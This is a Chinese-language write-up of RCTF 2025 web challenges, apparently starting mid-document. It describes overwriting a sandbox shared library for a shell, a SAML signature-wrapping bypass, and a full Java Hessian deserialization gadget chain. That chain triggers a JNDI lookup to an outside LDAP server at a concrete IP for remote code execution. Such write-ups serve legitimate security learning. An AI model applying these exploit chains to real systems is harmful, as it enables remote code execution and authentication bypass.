RCTF 2025 Web 部分解题思路与漏洞分析

def payload():
    import base64
    import os
    base64data = "xxxx"
    data = base64.b64decode(base64data)
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        f.write(data)
    return 1

最后随便运行一段测试代码触发沙箱初始化，即可成功获取 shell。

Auth

这是一道关于 SAML 单点登录的题目。服务提供者（SP）检查 session 中的 email 字段是否为 [email protected] 来决定是否返回 flag。该字段源自 SAML 断言中的属性。

在身份提供者（IdP）端，存在一个类型转换的绕过点。系统对 type 字段有限制，但可以使用 JavaScript 的 parseInt 特性来绕过字符串校验。例如，将 type 设为任意字符串，在某些上下文中可能被解析为数字 0 以外的值。

利用步骤：

1. 注册账号，尝试将 type 设为非数字字符串，成功获得 fullaccess 权限。
2. 访问 flag 路由，获取 SAMLForm。
3. 注意到接收地址是 /saml/acs，且表单中包含 SAMLResponse。
4. 构造伪造的 SAML 响应。关键在于插入一个新的 Assertion，其中包含目标 email，且不携带签名，放置在原始带签名的 Assertion 之前。这样解析器可能会优先读取新插入的属性。

XML 结构修改示意：

• 原结构：Response -> Issuer -> Status -> Assertion(带签名)
• 新结构：Response -> Assertion(无签名，含 admin 邮箱) -> Issuer -> Status -> Assertion(带签名)

发送修改后的 POST 请求，即可在 session 中注入管理员邮箱。

maybe_easy

最后一道题考察 Hessian 反序列化漏洞。题目给出了白名单限制，需要寻找可用的类构建利用链。核心目标是调用 JNDI 接口实现远程代码执行。

参考相关技术文档，最终需要触发的方法是 org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()。题目自定义了一个 Maybe 类并重写了 compareTo 方法，这提示我们可能需要利用 TreeMap 的比较逻辑来触发特定方法。

Hessian 反序列化入口通常会触发 map.put，进而调用 TreeMap.compareTo。由于白名单限制，不能使用常见的 java.beans.EventHandler，需要寻找其他 Handler。

通过分析，ObjectFactoryDelegatingInvocationHandler 是一个可行的切入点。其 invoke 方法在调用非特定方法时会委托给 objectFactory.getObject()。在白名单中搜索 getObject() 方法，可以找到 ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()，该方法内部调用了 Spring 容器的 getBean 方法。

结合之前的分析，SimpleJndiBeanFactory 的 lookup 方法可以被 getBean 触发。这样就打通了从 Hessian 反序列化到 JNDI 查找的完整链路。

最终 Payload 构建涉及反射实例化相关类，并手动构造 TreeMap 节点以触发比较逻辑。Java 代码片段如下：

package com.rctf.server.exp;
import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;

public class exp {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://8.138.38.81:1339/suibian";
        SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
        beanFactory.setShareableResources(jndiUrl);

        Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
        Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class);
        tboFactoryConstructor.setAccessible(true);
        ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl);

        Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class);
        ofdihConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory);

        Maybe maybe = new Maybe(handler);
        TreeMap treeMap = makeTreeMap(maybe, maybe);
        String serialize = HessianFactory.serialize(treeMap);
        System.out.println(serialize);
        HessianFactory.deserialize(serialize);
    }

    public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception {
        TreeMap<Object,Object> m = new TreeMap<>();
        setFieldValue(m, "size", 2);
        setFieldValue(m, "modCount", 2);
        Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
        Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object node = nodeCons.newInstance(v1, new Object[0], null);
        Object right = nodeCons.newInstance(v2, new Object[0], node);
        setFieldValue(node, "right", right);
        setFieldValue(m, "root", node);
        return m;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if (field != null) field.setAccessible(true);
            else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
            return field;
        } catch (NoSuchFieldException e) {
            if (!clazz.getSuperclass().equals(Object.class)) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
}

运行该 Payload 连接攻击机，即可完成利用。